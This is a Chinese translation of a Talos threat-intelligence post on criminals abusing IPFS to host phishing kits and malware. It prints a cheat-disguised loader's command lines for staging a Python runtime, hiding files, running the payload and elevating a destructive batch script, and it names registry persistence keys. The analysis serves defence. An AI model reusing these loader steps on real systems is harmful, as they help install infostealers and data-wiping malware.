威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

夢幻的彼岸發表於2022-11-16

Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns

原文地址:https://blog.talosintelligence.com/ipfs-abuse/

翻譯:夢幻的彼岸


  • InterPlanetary File System(IPFS)是一種新興的Web3技術,目前正被威脅者廣泛濫用。
  • 思科Talos已經觀察到多個正在進行的活動,這些活動利用IPFS網路來託管其惡意軟體有效載荷和網路釣魚工具包基礎設施,同時促進其他攻擊。
  • IPFS通常被用於合法目的,這使得安全團隊更難區分其網路中的良性和惡意IPFS活動。
  • 目前,多個惡意軟體家族被託管在IPFS內,並在惡意軟體攻擊的初始階段被檢索。
  • 企業應該熟悉這些新技術,以及威脅者如何利用這些技術來防禦使用這些技術的新技術。

近年來,新的Web3技術的出現導致網際網路上內容的託管和訪問方式發生了巨大的變化。這些技術中的許多都集中在規避審查制度和分散對人們經常使用和訪問的大部分內容和基礎設施的控制。雖然這些技術在各種實際應用中都有合法用途,但它們也為攻擊者創造了在網路釣魚和惡意軟體傳播活動中利用它們的機會。在過去幾年中,Talos觀察到越來越多的網路犯罪分子利用諸如InterPlanetary檔案系統(IPFS)等技術來促進惡意內容的託管,因為它們提供了相當於 "bulletproof hosting "的功能,並且對試圖調節儲存在那裡的內容具有極強的抵禦能力。

InterPlanetary 檔案系統(IPFS)是什麼?

InterPlanetary 檔案系統(IPFS)是一項Web3技術,旨在實現網際網路上資源的分散儲存。當內容儲存在IPFS網路上時,它被映象到參與網路的許多系統中,因此,當其中一個系統不可用時,其他系統可以為該內容的請求提供服務。

IPFS儲存不同型別的資料,如與NFT相關的影像,用於渲染網頁的資源,或可被網際網路使用者訪問的檔案。IPFS被設計成對內容審查有彈性,這意味著一旦內容被儲存在IPFS網路內,就不可能有效地將其刪除。

IPFS閘道器

希望訪問儲存在IPFS中的內容的使用者可以使用一個IPFS客戶端,如這裡提供的客戶端,或者他們可以利用 "IPFS閘道器",它有效地位於網際網路和IPFS網路之間,允許客戶訪問網路上的內容。這種功能類似於Tor2web閘道器提供的訪問Tor網路中的內容,而不需要安裝客戶端。

任何人都可以使用一系列公開可用的工具建立一個IPFS閘道器。這張截圖顯示了在網際網路上可獲得的幾個公共IPFS閘道器:

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

在IPFS記憶體儲新的內容很簡單,而且一旦存在,這些內容就會有彈性,不會被攻陷,這使得它對各種攻擊者的吸引力越來越大,可以用來存放釣魚網頁、惡意軟體有效載荷和其他惡意內容。

當系統使用IPFS閘道器訪問儲存在IPFS網路上的內容時,它們通常依賴於用於訪問網際網路上其他網站的基於HTTP/HTTPS的相同通訊。IPFS閘道器可以被配置為以幾種不同的方式處理傳入的請求。在一些實現中,HTTP請求中指定的子域通常被用來定位IPFS網路上的請求資源,如下例所示,這是IPFS網路上託管的Wikipedia的一個映象副本。該資源的IPFS識別符號,或CID,在下面突出顯示。

hxxps[:]//bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze[.]ipfs[.]infura-ipfs[.]io

在其他實施方案中,IPFS資源的位置被附加到被請求的URL的末尾,如以下例子所示:

hxxps[:]//ipfs[.]io/ipfs/bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze

也有其他使用DNS條目處理請求的方法。不同的IPFS閘道器的具體實現方式也不同。瀏覽器甚至已經開始實現對IPFS網路的本地支援,在某些情況下不再需要使用IPFS閘道器。

IPFS在網路釣魚活動中的應用

IPFS目前被用來託管網路釣魚工具包,這些網站是網路釣魚活動通常用來收集和收穫毫無戒心的受害者的憑證。在一個例子中,受害者收到了一個聲稱與DocuSign檔案簽署服務有關的PDF檔案。下面是這樣一個PDF的截圖:

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

當受害者點選 "Review Document "連結時,他們會被重定向到一個看起來像是微軟認證頁面的頁面。然而,該頁面實際上是在IPFS網路上託管的。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

使用者會被提示輸入一個電子郵件地址和密碼。然後,這些資訊透過HTTP POST請求被傳送到攻擊者控制的網路伺服器,在那裡可以被收集和處理,用於進一步攻擊。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

在過去的一年裡,我們在網路釣魚活動中觀察到了幾個類似的例子,因為攻擊者認識到了在IPFS網路上託管其網路釣魚工具包所帶來的內容稽核挑戰。在這個案例中,PDF超連結指向一個IPFS閘道器,該閘道器對內容進行稽核以保護潛在的受害者,並向試圖瀏覽該連結的受害者顯示以下資訊

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

然而,內容仍然存在於IPFS網路中,只需更改用於檢索內容的IPFS閘道器即可確認情況確實如此。

惡意軟體活動中對IPFS的使用

目前有各種威脅行為者在其惡意軟體分發活動中利用IPFS等技術。它為惡意的有效載荷提供了低成本的儲存,同時提供了對內容節制的彈性,有效地充當了攻擊者的 "bulletproof hosting"。同樣,使用普通的IPFS閘道器來訪問IPFS網路內託管的惡意內容,與使用惡意域名來檢索內容相比,組織更難阻止訪問。我們已經觀察到目前在野外利用IPFS的各種樣本。


在整個2022年,我們觀察到野外的樣本數量繼續增加,因為這成為攻擊者更受歡迎的託管方法。下面是一張圖表,顯示了上傳到公共樣本庫的依賴IPFS的獨特樣本數量的增加

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

特斯拉代理的惡意廣告活動

我們已經觀察到正在進行的惡作劇活動在整個感染過程中利用了IPFS,最終檢索到了惡意軟體的有效載荷。在一個例子中,發給受害者的電子郵件自稱是來自土耳其的一家金融機構,並聲稱與SWIFT支付有關,這是一個常用的國際貨幣交易系統。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

該電子郵件包含一個ZIP附件,其中有一個PE32可執行檔案。該可執行檔案是用.NET編寫的,其功能是為感染鏈的下一個階段提供下載器。當執行時,該下載器會接觸到一個IPFS閘道器,以檢索一個在IPFS網路中託管的資料塊,如下圖所示:

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

該資料包含一個混淆的PE32可執行檔案,作為下一階段的惡意軟體有效載荷。下載器從IPFS閘道器獲取資料並將每個位元組儲存在一個陣列中。然後,它使用儲存在可執行檔案中的一個金鑰值,將位元組陣列轉換為下一階段的PE32。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動


然後反射性地載入和執行,啟動感染過程的下一階段,在這種情況下,這是一個名為Agent Tesla的遠端訪問木馬(RAT)。

在另一個例子中,我們觀察到在幾個月的時間裡,各種惡意軟體有效載荷被上傳到公共樣本庫。我們確定了三個不同的惡意軟體叢集,它們可能是由同一個威脅者建立的。程式碼層面的問題表明,許多樣本在被上傳時正在進行積極的開發,可能是為了測試檢測能力。

在所有三個叢集中,初始有效載荷的功能是載入器,操作類似,然而,每個叢集中IPFS網路上託管的最終有效載荷是不同的。我們觀察到的最終有效載荷包括一個基於Python的資訊竊取器、可能使用msfvenom生成的反向shell有效載荷,以及一個旨在破壞受害者系統的批處理檔案。

最開始的載入器

所有這些案例中使用的載入器功能相似,有時託管在Discord內容交付網路(CDN)上,這種做法在以前的惡意軟體分銷商中越來越常見,這裡也有描述。所使用的檔名稱表明,它們可能是以 "Minecraft "等影片遊戲的作弊器和破解器為幌子進行傳播的。在大多數情況下,載入器沒有被打包,但我們確實觀察到使用UPX打包的樣本。


當執行時,載入器首先使用以下命令在%APPDATA%內建立一個目錄結構:

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft && mkdir Network

然後,該惡意軟體試圖使用cURL命令從合法的軟體供應商那裡檢索Python 3.10。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

這是值得注意的,因為選擇直接利用cURL可能會大大減少潛在受害者的數量,因為直到Windows 11才將其作為一個本地命令列工具新增到Windows。用來啟動下載的命令列語法如下所示:

C:\Windows\system32\cmd.exe /c curl https://www.python.org/ftp/python/3.10.4/python-3.10.4-embed-amd64.zip -o %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

一旦ZIP存檔檔案被檢索,它將被解壓縮到先前使用PowerShell“Expand-Archive”cmdlet建立的目錄中。

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell Expand-Archive python-3.10.4-embed-amd64.zip -DestinationPath %appdata%\Microsoft\Network

惡意軟體然後試圖檢索感染鏈中的最終有效載荷,將其儲存在網路目錄中,使用檔名“Packages.txt”。載入器檢索Hannabi Grabber的示例如下所示,Hannabi Grabber是用Python編寫的資訊竊取程式。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

然後,載入器使用attrib.exe實用程式在前面建立的目錄以及檢索到的Python ZIP歸檔檔案和最終負載上設定系統和隱藏標誌。

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\Packages.txt

最後,載入器呼叫新下載的Python可執行檔案,並將最終有效負載作為命令列引數傳遞,執行感染過程的下一階段。

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && python.exe Packages.txt

在某些情況下,惡意軟體還被觀察到透過在以下位置向Windows登錄檔中新增條目來實現永續性:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

在我們分析與這個載入器相關的樣本時,我們注意到正在使用的IPFS閘道器不再為請求服務,但是,Talos透過另一個IPFS閘道器手動獲取下一階段的有效負載進行分析。

反向shell

在利用此載入器的一個叢集中,我們觀察到IPFS網路中承載的有效負載是一個Python指令碼,其中包含一個大型base64編碼的blob以及負責解碼base64的Python程式碼。請注意,下面的螢幕截圖是為節省空間而編輯的,因為base64編碼blob相當大。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

Base64包含多層Base64編碼的blob,每一層都包裝在負責對其進行解碼的Python程式碼中。在對所有層進行解碼之後,以下是經過去模糊處理的反向shell有效負載。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

在進行分析時,C2伺服器不再為TCP/4444上的請求提供服務。

具有破壞性的惡意軟體

在我們分析的另一個叢集中,我們觀察到IPFS中託管的最終有效載荷是一個Windows批處理檔案,如下所示:

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

當批處理檔案被檢索到時,它被儲存在網路目錄中,使用檔名 "Script.bat"。

這個批處理檔案負責以下的破壞性行為:

  • 刪除系統中的快照(shadow copies )。
  • 刪除儲存在C:\Users(通常與使用者配置檔案相關)的目錄內容。
  • 遍歷系統中所有掛載的檔案系統,並刪除儲存在它們上面的內容。

幸運的是,在分析的樣本中,載入器不適當地嘗試呼叫批處理檔案,如下所示

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell -Command start script.bat -Verb RunAs

Hannabi Grabber

與該載入器相關的最後一組惡意軟體負責檢索和執行一個名為Hannabi Grabber的基於Python的資訊竊取器。在我們分析的樣本中,檢索到的Python版本並不包含指令碼成功執行所需的模組,導致感染過程失敗,然而,考慮到竊取器中存在的大量功能,我們對其進行了分析,以確認其在透過不同機制傳播的情況下的檢測能力。

Hannabi Grabber是一個用Python編寫的全功能的資訊竊取器。它利用Discord Webhooks進行C2和資料竊取。它目前的特點是支援從受害者系統上可能存在的各種應用程式中竊取資訊。它從受感染的機器上收集調查資訊,透過IPInfo服務獲得系統的地理位置,拍攝螢幕截圖,並最終將這些資料以JSON格式傳輸給攻擊者控制的Discord伺服器。

下面列出了該竊取器支援的許多各種應用程式

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

除了之前列出的應用程式外,該惡意軟體還支援從Chrome瀏覽器中檢索密碼和cookie資料,如下圖所示:

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

類似的功能也存在,以可能存在於系統中的Mozilla Firefox瀏覽器資料為目標。


該資訊竊取器對Discord和Roblox資料特別感興趣。它有幾個機制,可以檢查 Discord Token Protectors 的存在,如 DiscordTokenProtector、BetterDiscord 等。如果發現,該惡意軟體將試圖繞過它們,從受害者那裡獲得Discord tokens。下面是這些檢查的一個例子:

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

被收集的應用程式資料被儲存在%TEMP%目錄內的一個目錄結構中,該目錄由惡意軟體建立,名為 "RedDiscord"。在竊取資料之前,惡意軟體在RedDiscord目錄下建立了一個名為 "Hannabi-<USERNAME>.zip "的ZIP存檔。該惡意軟體首先傳輸信標(beacon)資訊,然後將試圖竊取新建立的ZIP存檔。

威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動

Hannabi Grabber擁有大量資訊竊取惡意軟體常見的功能。通常情況下,攻擊者會試圖利用PyInstaller或Py2EXE將其Python編譯成PE32檔案格式,然後再分發給受害者。而在這種情況下,攻擊者選擇在感染過程中包含一個Python安裝過程,並直接利用Python來竊取受害者的敏感資訊。

總結

最近出現了許多新的Web3技術,試圖為使用者提供有價值的功能。隨著這些技術不斷被用於合法目的,它們也開始被敵人利用。我們繼續觀察到惡意軟體和網路釣魚活動的數量增加,這些活動利用IPFS等技術來託管惡意軟體感染中使用的惡意元件,以及用於收集敏感認證資料的網路釣魚工具包等等。


我們預計這種活動將繼續增加,因為更多的威脅者認識到,IPFS可用於促進bulletproof hosting,對內容稽核和執法活動具有彈性,併為試圖檢測和防禦可能利用IPFS網路的攻擊的組織帶來問題。各組織應瞭解這些新出現的技術是如何在整個威脅環境中被積極使用的,並評估如何最好地實施安全控制,以防止或檢測其環境中的成功攻擊。


相關文章